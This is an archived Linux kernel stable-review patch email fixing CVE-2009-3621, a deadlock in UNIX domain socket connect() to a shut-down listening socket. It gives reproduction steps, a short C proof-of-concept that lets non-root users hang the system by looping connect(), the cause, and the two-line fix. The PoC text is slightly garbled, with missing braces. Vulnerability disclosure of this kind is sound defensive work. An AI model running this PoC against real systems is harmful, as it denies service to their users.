[75/99] AF_UNIX: Fix deadlock on connecting to shutdown socket (CVE-2009-3621)

From: Greg KH
Date: Fri Nov 06 2009 - 17:28:35 EST

2.6.31-stable review patch. If anyone has any objections, please let us know.

From: Tomoki Sekiyama <tomoki.sekiyama.qu@xxxxxxxxxxx>

commit 77238f2b942b38ab4e7f3aced44084493e4a8675 upstream.

I found a deadlock bug in UNIX domain socket, which makes able to DoS
attack against the local machine by non-root users.

How to reproduce:
1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
namespace(*), and shutdown(2) it.
2. Repeat connect(2)ing to the listening socket from the other sockets
until the connection backlog is full-filled.
3. connect(2) takes the CPU forever. If every core is taken, the
system hangs.

PoC code: (Run as many times as cores on SMP machines.)

int main(void)
int ret;
int csd;
int lsd;
struct sockaddr_un sun;

/* make an abstruct name address (*) */
memset(&sun, 0, sizeof(sun));
sun.sun_family = PF_UNIX;
sprintf(&sun.sun_path[1], "%d", getpid());

/* create the listening socket and shutdown */
lsd = socket(AF_UNIX, SOCK_STREAM, 0);
bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
listen(lsd, 1);
shutdown(lsd, SHUT_RDWR);

/* connect loop */
alarm(15); /* forcely exit the loop after 15 sec */
for (;;) {
csd = socket(AF_UNIX, SOCK_STREAM, 0);
ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
if (-1 == ret) {
puts("Connection OK");
return 0;

(*) Make sun_path[0] = 0 to use the abstruct namespace.
If a file-based socket is used, the system doesn't deadlock because
of context switches in the file system layer.

Why this happens:
Error checks between unix_socket_connect() and unix_wait_for_peer() are
inconsistent. The former calls the latter to wait until the backlog is
processed. Despite the latter returns without doing anything when the
socket is shutdown, the former doesn't check the shutdown state and
just retries calling the latter forever.

The patch below adds shutdown check into unix_socket_connect(), so
connect(2) to the shutdown socket will return -ECONREFUSED.

Signed-off-by: Tomoki Sekiyama <tomoki.sekiyama.qu@xxxxxxxxxxx>
Signed-off-by: Masanori Yoshida <masanori.yoshida.tv@xxxxxxxxxxx>
Cc: Chuck Ebbert <cebbert@xxxxxxxxxx>
Signed-off-by: David S. Miller <davem@xxxxxxxxxxxxx>

net/unix/af_unix.c | 2 ++
1 file changed, 2 insertions(+)

--- a/net/unix/af_unix.c
+++ b/net/unix/af_unix.c
@@ -1074,6 +1074,8 @@ restart:
if (other->sk_state != TCP_LISTEN)
goto out_unlock;
+ if (other->sk_shutdown & RCV_SHUTDOWN)
+ goto out_unlock;

if (unix_recvq_full(other)) {
err = -EAGAIN;

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